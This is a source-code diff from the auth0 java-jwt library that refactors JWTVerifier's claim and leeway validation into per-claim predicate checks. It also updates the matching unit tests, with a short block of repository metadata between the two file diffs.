-            requireClaim(AUDIENCE_EXACT, isNullOrEmpty(audience) ? null : Arrays.asList(audience));
+            List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
+            checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
+                    assertValidAudienceClaim(decodedJWT.getAudience(), value, true)));
             return this;
         }
 
         @Override
         public Verification withAnyOfAudience(String... audience) {
-            expectedClaims.remove(AUDIENCE_EXACT);
-            requireClaim(AUDIENCE_CONTAINS, isNullOrEmpty(audience) ? null : Arrays.asList(audience));
+            List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
+            checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
+                    assertValidAudienceClaim(decodedJWT.getAudience(), value, false)));
             return this;
         }
 
@@ -101,21 +107,21 @@ public Verification acceptLeeway(long leeway) throws IllegalArgumentException {
         @Override
         public Verification acceptExpiresAt(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            requireClaim(PublicClaims.EXPIRES_AT, leeway);
+            customLeeways.put(PublicClaims.EXPIRES_AT, leeway);
             return this;
         }
 
         @Override
         public Verification acceptNotBefore(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            requireClaim(PublicClaims.NOT_BEFORE, leeway);
+            customLeeways.put(PublicClaims.NOT_BEFORE, leeway);
             return this;
         }
 
         @Override
         public Verification acceptIssuedAt(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            requireClaim(PublicClaims.ISSUED_AT, leeway);
+            customLeeways.put(PublicClaims.ISSUED_AT, leeway);
             return this;
         }
 
@@ -127,49 +133,54 @@ public Verification ignoreIssuedAt() {
 
         @Override
         public Verification withJWTId(String jwtId) {
-            requireClaim(PublicClaims.JWT_ID, jwtId);
+            checkIfNeedToRemove(PublicClaims.JWT_ID, jwtId, ((claim, decodedJWT) -> jwtId.equals(claim.asString())));
             return this;
         }
 
         @Override
         public Verification withClaimPresence(String name) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, NonEmptyClaim.getInstance());
+            withClaim(name, ((claim, decodedJWT) -> {
+                if (claim instanceof NullClaim) {
+                    throw new InvalidClaimException(String.format("The Claim '%s' is not present in the JWT.", name));
+                }
+                return true;
+            }));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Boolean value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asBoolean())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Integer value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asInt())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Long value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asLong())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Double value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asDouble())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, String value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asString())));
             return this;
         }
 
@@ -182,35 +193,36 @@ public Verification withClaim(String name, Date value) throws IllegalArgumentExc
         public Verification withClaim(String name, Instant value) throws IllegalArgumentException {
             assertNonNull(name);
             // Since date-time claims are serialized as epoch seconds, we need to compare them with only seconds-granularity
-            requireClaim(name, value != null ? value.truncatedTo(ChronoUnit.SECONDS) : null);
+            checkIfNeedToRemove(name, value,
+                    ((claim, decodedJWT) -> value.truncatedTo(ChronoUnit.SECONDS).equals(claim.asInstant())));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, String... items) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, items);
+            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, Integer... items) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, items);
+            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, Long... items) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, items);
+            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, predicate);
+            checkIfNeedToRemove(name, predicate, predicate);
             return this;
         }
 
@@ -227,59 +239,122 @@ public JWTVerifier build() {
          * @return a new JWTVerifier instance with a custom {@link java.time.Clock}
          */
         public JWTVerifier build(Clock clock) {
-            addLeewayToDateClaims();
-            return new JWTVerifier(algorithm, expectedClaims, clock);
+            this.clock = clock;
+            addMandatoryClaimChecks();
+            return new JWTVerifier(algorithm, expectedChecks);
         }
 
-        private void assertPositive(long leeway) {
-            if (leeway < 0) {
-                throw new IllegalArgumentException("Leeway value can't be negative.");
+        /**
+         * Fetches the Leeway set for claim or returns the {@link BaseVerification#defaultLeeway}
+         *
+         * @param name Claim for which leeway is fetched
+         * @return Leeway value set for the claim
+         */
+        public long getLeewayFor(String name) {
+            return customLeeways.getOrDefault(name, defaultLeeway);
+        }
+
+        private void addMandatoryClaimChecks() {
+            long expiresAtLeeway = getLeewayFor(PublicClaims.EXPIRES_AT);
+            long notBeforeLeeway = getLeewayFor(PublicClaims.NOT_BEFORE);
+            long issuedAtLeeway = getLeewayFor(PublicClaims.ISSUED_AT);
+
+            checkIfNeedToRemove(PublicClaims.EXPIRES_AT, expiresAtLeeway, ((claim, decodedJWT) ->
+                    assertValidInstantClaim(claim.asInstant(), expiresAtLeeway, true)));
+            checkIfNeedToRemove(PublicClaims.NOT_BEFORE, notBeforeLeeway, ((claim, decodedJWT) ->
+                    assertValidInstantClaim(claim.asInstant(), notBeforeLeeway, false)));
+            if (!ignoreIssuedAt) {
+                checkIfNeedToRemove(PublicClaims.ISSUED_AT, issuedAtLeeway, ((claim, decodedJWT) ->
+                        assertValidInstantClaim(claim.asInstant(), issuedAtLeeway, false)));
             }
         }
 
-        private void assertNonNull(String name) {
-            if (name == null) {
-                throw new IllegalArgumentException("The Custom Claim's name can't be null.");
+        private boolean assertValidCollectionClaim(Claim claim, Object[] expectedClaimValue) {
+            List<Object> claimArr;
+            Object[] claimAsObject = claim.as(Object[].class);
+
+            // Jackson uses 'natural' mapping which uses Integer if value fits in 32 bits.
+            if (expectedClaimValue instanceof Long[]) {
+                // convert Integers to Longs for comparison with equals
+                claimArr = new ArrayList<>(claimAsObject.length);
+                for (Object cao : claimAsObject) {
+                    if (cao instanceof Integer) {
+                        claimArr.add(((Integer) cao).longValue());
+                    } else {
+                        claimArr.add(cao);
+                    }
+                }
+            } else {
+                claimArr = claim.isNull() ? Collections.emptyList() : Arrays.asList(claim.as(Object[].class));
             }
+            List<Object> valueArr = Arrays.asList(expectedClaimValue);
+            return claimArr.containsAll(valueArr);
         }
 
-        private void addLeewayToDateClaims() {
-            if (!expectedClaims.containsKey(PublicClaims.EXPIRES_AT)) {
-                expectedClaims.put(PublicClaims.EXPIRES_AT, defaultLeeway);
+        private boolean assertValidInstantClaim(Instant claimVal, long leeway, boolean shouldBeFuture) {
+            Instant now = clock.instant().truncatedTo(ChronoUnit.SECONDS);
+            if (shouldBeFuture) {
+                return assertInstantIsFuture(claimVal, leeway, now);
+            } else {
+                return assertInstantIsPast(claimVal, leeway, now);
             }
-            if (!expectedClaims.containsKey(PublicClaims.NOT_BEFORE)) {
-                expectedClaims.put(PublicClaims.NOT_BEFORE, defaultLeeway);
+        }
+
+        private boolean assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
+            if (claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal)) {
+                throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal));
             }
-            if (ignoreIssuedAt) {
-                expectedClaims.remove(PublicClaims.ISSUED_AT);
-                return;
+            return true;
+        }
+
+        private boolean assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
+            if (claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal)) {
+                throw new InvalidClaimException(String.format("The Token can't be used before %s.", claimVal));
             }
-            if (!expectedClaims.containsKey(PublicClaims.ISSUED_AT)) {
-                expectedClaims.put(PublicClaims.ISSUED_AT, defaultLeeway);
+            return true;
+        }
+
+        private boolean assertValidAudienceClaim(List<String> audience, List<String> values, boolean shouldContainAll) {
+            if (audience == null || (shouldContainAll && !audience.containsAll(values)) ||
+                    (!shouldContainAll && Collections.disjoint(audience, values))) {
+                throw new InvalidClaimException("The Claim 'aud' value doesn't contain the required audience.");
             }
+            return true;
         }
 
-        private void requireClaim(String name, Object value) {
+        private void assertPositive(long leeway) {
+            if (leeway < 0) {
+                throw new IllegalArgumentException("Leeway value can't be negative.");
+            }
+        }
+
+        private void assertNonNull(String name) {
+            if (name == null) {
+                throw new IllegalArgumentException("The Custom Claim's name can't be null.");
+            }
+        }
+
+        private void checkIfNeedToRemove(String name, Object value, BiPredicate<Claim, DecodedJWT> predicate) {
             if (value == null) {
-                expectedClaims.remove(name);
+                expectedChecks.remove(name);
                 return;
             }
-            expectedClaims.put(name, value);
+            expectedChecks.put(name, predicate);
         }
-    }
 
-    private static boolean isNullOrEmpty(String[] args) {
-        if (args == null || args.length == 0) {
-            return true;
-        }
-        boolean isAllNull = true;
-        for (String arg : args) {
-            if (arg != null) {
-                isAllNull = false;
-                break;
+        private boolean isNullOrEmpty(String[] args) {
+            if (args == null || args.length == 0) {
+                return true;
             }
+            boolean isAllNull = true;
+            for (String arg : args) {
+                if (arg != null) {
+                    isAllNull = false;
+                    break;
+                }
+            }
+            return isAllNull;
         }
-        return isAllNull;
     }
 
 
@@ -313,7 +388,7 @@ public DecodedJWT verify(String token) throws JWTVerificationException {
     public DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException {
         verifyAlgorithm(jwt, algorithm);
         algorithm.verify(jwt);
-        verifyClaims(jwt, expectedClaims);
+        verifyClaims(jwt, expectedChecks);
         return jwt;
     }
 
@@ -323,156 +398,18 @@ private void verifyAlgorithm(DecodedJWT jwt, Algorithm expectedAlgorithm) throws
         }
     }
 
-    private void verifyClaims(DecodedJWT jwt, Map<String, Object> claims) throws TokenExpiredException, InvalidClaimException {
-        for (Map.Entry<String, Object> entry : claims.entrySet()) {
-            if (entry.getValue() instanceof NonEmptyClaim) {
-                assertClaimPresent(jwt.getClaim(entry.getKey()), entry.getKey());
-            } else {
-                verifyClaimValues(jwt, entry);
-            }
-        }
-    }
-
-    private void verifyClaimValues(DecodedJWT jwt, Map.Entry<String, Object> expectedClaim) {
-        switch (expectedClaim.getKey()) {
-            // We use custom keys for audience in the expected claims to differentiate between validating that the audience
-            // contains all expected values, or validating that the audience contains at least one of the expected values.
-            case AUDIENCE_EXACT:
-                assertValidAudienceClaim(jwt.getAudience(), (List<String>) expectedClaim.getValue(), true);
-                break;
-            case AUDIENCE_CONTAINS:
-                assertValidAudienceClaim(jwt.getAudience(), (List<String>) expectedClaim.getValue(), false);
-                break;
-            case PublicClaims.EXPIRES_AT:
-                assertValidInstantClaim(jwt.getExpiresAtAsInstant(), (Long) expectedClaim.getValue(), true);
-                break;
-            case PublicClaims.ISSUED_AT:
-                assertValidInstantClaim(jwt.getIssuedAtAsInstant(), (Long) expectedClaim.getValue(), false);
-                break;
-            case PublicClaims.NOT_BEFORE:
-                assertValidInstantClaim(jwt.getNotBeforeAsInstant(), (Long) expectedClaim.getValue(), false);
-                break;
-            case PublicClaims.ISSUER:
-                assertValidIssuerClaim(jwt.getIssuer(), (List<String>) expectedClaim.getValue());
-                break;
-            case PublicClaims.JWT_ID:
-                assertValidStringClaim(expectedClaim.getKey(), jwt.getId(), (String) expectedClaim.getValue());
-                break;
-            case PublicClaims.SUBJECT:
-                assertValidStringClaim(expectedClaim.getKey(), jwt.getSubject(), (String) expectedClaim.getValue());
-                break;
-            default:
-                assertValidClaim(jwt, expectedClaim);
-                break;
-        }
-    }
-
-    private void assertClaimPresent(Claim claim, String claimName) {
-        if (claim instanceof NullClaim) {
-            throw new InvalidClaimException(String.format("The Claim '%s' is not present in the JWT.", claimName));
-        }
-    }
-
-    private void assertValidClaim(DecodedJWT jwt, Map.Entry<String, Object> expectedClaim) {
-        boolean isValid = false;
-        String claimName = expectedClaim.getKey();
-        Object expectedClaimValue = expectedClaim.getValue();
-        Claim claim = jwt.getClaim(claimName);
-
-        if (expectedClaimValue instanceof String) {
-            isValid = expectedClaimValue.equals(claim.asString());
-        } else if (expectedClaimValue instanceof Integer) {
-            isValid = expectedClaimValue.equals(claim.asInt());
-        } else if (expectedClaimValue instanceof Long) {
-            isValid = expectedClaimValue.equals(claim.asLong());
-        } else if (expectedClaimValue instanceof Boolean) {
-            isValid = expectedClaimValue.equals(claim.asBoolean());
-        } else if (expectedClaimValue instanceof Double) {
-            isValid = expectedClaimValue.equals(claim.asDouble());
-        } else if (expectedClaimValue instanceof Instant) {
-            isValid = expectedClaimValue.equals(claim.asInstant());
-        } else if (expectedClaimValue instanceof BiPredicate) {
-            isValid = ((BiPredicate) expectedClaimValue).test(claim, jwt);
-        } else if (expectedClaimValue instanceof Object[]) {
-            List<Object> claimArr;
-            Object[] claimAsObject = claim.as(Object[].class);
-
-            // Jackson uses 'natural' mapping which uses Integer if value fits in 32 bits.
-            if (expectedClaimValue instanceof Long[]) {
-                // convert Integers to Longs for comparison with equals
-                claimArr = new ArrayList<>(claimAsObject.length);
-                for (Object cao : claimAsObject) {
-                    if (cao instanceof Integer) {
-                        claimArr.add(((Integer) cao).longValue());
-                    } else {
-                        claimArr.add(cao);
-                    }
-                }
-            } else {
-                claimArr = claim.isNull() ? Collections.emptyList() : Arrays.asList(claim.as(Object[].class));
-            }
-            List<Object> valueArr = Arrays.asList((Object[]) expectedClaimValue);
-            isValid = claimArr.containsAll(valueArr);
-        }
-
-        if (!isValid) {
-            throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
-        }
-    }
-
-    private void assertValidStringClaim(String claimName, String value, String expectedValue) {
-        if (!expectedValue.equals(value)) {
-            throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
-        }
-    }
-
-    private void assertValidInstantClaim(Instant claimVal, long leeway, boolean shouldBeFuture) {
-        Instant now = clock.instant().truncatedTo(ChronoUnit.SECONDS);
-        if (shouldBeFuture) {
-            assertInstantIsFuture(claimVal, leeway, now);
-        } else {
-            assertInstantIsPast(claimVal, leeway, now);
-        }
-    }
-
-    private void assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
-        if (claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal)) {
-            throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal));
-        }
-    }
-
-    private void assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
-        if (claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal)) {
-            throw new InvalidClaimException(String.format("The Token can't be used before %s.", claimVal));
-        }
-    }
-
-    private void assertValidAudienceClaim(List<String> audience, List<String> values, boolean shouldContainAll) {
-        if (audience == null || (shouldContainAll && !audience.containsAll(values)) ||
-                (!shouldContainAll && Collections.disjoint(audience, values))) {
-            throw new InvalidClaimException("The Claim 'aud' value doesn't contain the required audience.");
-        }
-    }
-
-    private void assertValidIssuerClaim(String issuer, List<String> value) {
-        if (issuer == null || !value.contains(issuer)) {
-            throw new InvalidClaimException("The Claim 'iss' value doesn't match the required issuer.");
-        }
-    }
-
-    /**
-     * Simple singleton used to mark that a claim should only be verified for presence.
-     */
-    private static class NonEmptyClaim {
-        private static NonEmptyClaim nonEmptyClaim;
+    private void verifyClaims(DecodedJWT jwt, Map<String, BiPredicate<Claim, DecodedJWT>> claims) throws TokenExpiredException, InvalidClaimException {
+        for (Map.Entry<String, BiPredicate<Claim, DecodedJWT>> entry : claims.entrySet()) {
+            boolean isValid;
+            String claimName = entry.getKey();
+            BiPredicate<Claim, DecodedJWT> expectedCheck = entry.getValue();
+            Claim claim = jwt.getClaim(claimName);
 
-        private NonEmptyClaim() {}
+            isValid = expectedCheck.test(claim, jwt);
 
-        public static NonEmptyClaim getInstance() {
-            if (nonEmptyClaim == null) {
-                nonEmptyClaim = new NonEmptyClaim();
+            if (!isValid) {
+                throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
             }
-            return nonEmptyClaim;
         }
     }
 }um     }(j1  (08857257590da25544680a6da34996a8f8618432j1  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj1  modifiedj1  K?j1  Kcj1  Kj1  https://github.com/auth0/java-jwt/blob/6794bbc97b5e6e733bba9e227bfe0987db9030fa/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj1  https://github.com/auth0/java-jwt/raw/6794bbc97b5e6e733bba9e227bfe0987db9030fa/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj1  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=6794bbc97b5e6e733bba9e227bfe0987db9030faj1  XN9  @@ -4,6 +4,7 @@
 import com.auth0.jwt.exceptions.AlgorithmMismatchException;
 import com.auth0.jwt.exceptions.InvalidClaimException;
 import com.auth0.jwt.exceptions.TokenExpiredException;
+import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 import org.junit.Rule;
@@ -16,8 +17,6 @@
 import java.time.ZoneId;
 import java.util.Collections;
 import java.util.Date;
-import java.util.HashMap;
-import java.util.Map;
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
@@ -263,63 +262,29 @@ public void shouldRemoveAudienceWhenPassingNullReference() {
                 .withAudience((String) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience((String[]) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience()
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
 
         String emptyAud = "   ";
         verifier = JWTVerifier.init(algorithm)
                 .withAudience(emptyAud)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry(JWTVerifier.AUDIENCE_EXACT, Collections.singletonList(emptyAud)));
-    }
-
-    @Test
-    public void shouldRemoveAudienceWhenPassingNullReferenceWithAnyOfAudience() {
-        Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience((String) null)
-                .build();
-
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
-
-        verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience((String[]) null)
-                .build();
-
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
-
-        verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience()
-                .build();
-
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
-
-        String emptyAud = "   ";
-        verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience(emptyAud)
-                .build();
-
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry(JWTVerifier.AUDIENCE_CONTAINS, Collections.singletonList(emptyAud)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
     }
 
     @Test
@@ -330,16 +295,16 @@ public void shouldRemoveAudienceWhenPassingNull() {
                 .withAudience((String) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("aud")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience("John")
                 .withAudience((String[]) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("aud")));
     }
 
     @Test
@@ -350,16 +315,16 @@ public void shouldRemoveAudienceWhenPassingNullWithAnyAudience() {
                 .withAnyOfAudience((String) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("aud")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAnyOfAudience("John")
                 .withAnyOfAudience((String[]) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("aud")));
     }
 
     @Test
@@ -453,10 +418,10 @@ public void shouldThrowOnInvalidCustomClaimValue() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        Map<String, Object> map = new HashMap<>();
-        map.put("name", new Object());
-        JWTVerifier verifier = new JWTVerifier(Algorithm.HMAC256("secret"), map, Clock.systemUTC());
-        verifier.verify(token);
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("name", "check")
+                .build()
+                .verify(token);
     }
 
     @Test
@@ -533,8 +498,8 @@ public void shouldRemoveCustomClaimOfTypeDateWhenNull() {
                 .withClaim("name", (Date) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
     }
 
     @Test
@@ -593,76 +558,76 @@ public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsIntegerAndLong()
     }
 
     // Generic Delta
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldAddDefaultLeewayToDateClaims() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 0L));
-        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 0L));
-        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 0L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(0L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(0L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(0L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldAddCustomLeewayToDateClaims() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldOverrideDefaultIssuedAtLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .acceptIssuedAt(9999L)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 9999L));
-        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(9999L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldOverrideDefaultExpiresAtLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .acceptExpiresAt(9999L)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 9999L));
-        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(9999L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldOverrideDefaultNotBeforeLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .acceptNotBefore(9999L)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 9999L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(9999L));
     }
 
     @Test
@@ -860,16 +825,16 @@ public void shouldRemoveClaimWhenPassingNull() {
                 .withIssuer((String) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer("iss")
                 .withIssuer((String[]) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
     }
 
     @Test
@@ -879,30 +844,29 @@ public void shouldRemoveIssuerWhenPassingNullReference() {
                 .withIssuer((String) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
